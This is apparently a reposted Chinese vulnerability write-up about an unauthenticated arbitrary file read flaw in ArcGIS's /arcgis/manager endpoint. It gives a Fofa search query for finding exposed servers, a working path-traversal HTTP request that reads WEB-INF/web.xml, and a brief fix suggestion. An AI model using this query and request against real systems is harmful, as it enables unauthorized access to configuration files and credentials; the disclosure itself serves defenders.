ArcGIS地理空间平台 manager 任意文件读取漏洞复现

news/2024/11/8 16:52:56/

0x01 产品描述:

 ‌       ArcGIS‌是一个综合的地理空间平台,由Esri开发,旨在为专业人士和组织提供全面的地理信息系统(GIS)功能。ArcGIS通过集成和连接地理环境中的数据,支持创建、管理、分析、映射和共享各种类型的数据,从而帮助组织在决策制定中占据领先地位‌。
0x02 漏洞描述:

       ArcGIS地理空间平台 /arcgis/manager接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。
0x03 搜索语句:

Fofa:app="esri-ArcGIS"


0x04 漏洞复现:

GET /arcgis/manager/3370/js/../WEB-INF/web.xml HTTP/1.1
Host: your-ip


0x05 修复建议:

在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。


http://www.ppmy.cn/news/1545405.html

相关文章

鸿萌数据迁移服务: 企业服务器整机在线热迁移, 实现不停机业务转移

天津鸿萌科贸发展有限公司从事数据安全服务二十余年,致力于为各领域客户提供专业的数据存储、数据恢复、数据备份、数据迁移等解决方案与服务,并针对企业面临的数据安全风险,提供专业的相关数据安全培训。 鸿萌数据迁移业务为众多企业顺利高效…

【UGUI】实现点击注册按钮跳转游戏场景

1. 代码实现 首先,我们需要编写一个脚本来管理注册界面的显示和场景的切换。以下是完整的代码,并附有详细的注释说明: using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.SceneManagemen…

Meta AI 推出机器人开源项目:推动触觉感知和人机交互的前沿研究

引言 在人工智能的各个领域中,机器人技术的开源项目成为了近年来的焦点。随着Meta AI(FAIR)发布了最新的触觉感知和机器人交互开源工具包,AI与机器人技术的结合再次引起广泛关注。通过开源的触觉编码工具、标准化的机器人手部平台…

Python中的extend()方法与+操作符和list.append()方法的异同

在Python编程中,我们经常需要将一个列表的元素添加到另一个列表中。有几种方法可以实现这一点,包括extend()方法、操作符和list.append()方法。本文将详细讨论这三种方法的异同,帮助你更好地理解它们在实际编程中的应用。 1. extend()方法 e…

【论文笔记】Token Turing Machines

🍎个人主页:小嗷犬的个人主页 🍊个人网站:小嗷犬的技术小站 🥭个人信条:为天地立心,为生民立命,为往圣继绝学,为万世开太平。 基本信息 标题: Token Turing Machines 作…

【网络面试篇】HTTP(2)(笔记)——http、https、http1.1、http2.0

目录 一、相关面试题 1. HTTP 与 HTTPS 有哪些区别? 2. HTTPS 的工作原理?(https 是怎么建立连接的) (1)ClientHello (2)SeverHello (3)客户端回应 &a…

blender导入的图片渲染看不见,图片预览正常,但渲染不出

在使用Blender时,我们经常会遇到导入图片后在预览渲染中显示,但在实际渲染时图片消失的问题。本文将提供详细的解决方法,帮助大家解决“Blender导入的图片渲染图像不显示”的问题。 问题原因 导入的图片在Blender中只是一张图,并…

纯血鸿蒙系统 HarmonyOS NEXT自动化测试实践

1、测试框架选择 hdc:类似 android 系统的 adb 命令,提供设备信息查询,包管理,调试相关的命令ohos.UiTest:鸿蒙 sdk 的一部分,类似 android sdk 里的uiautomator,基于 Accessibility 服务&…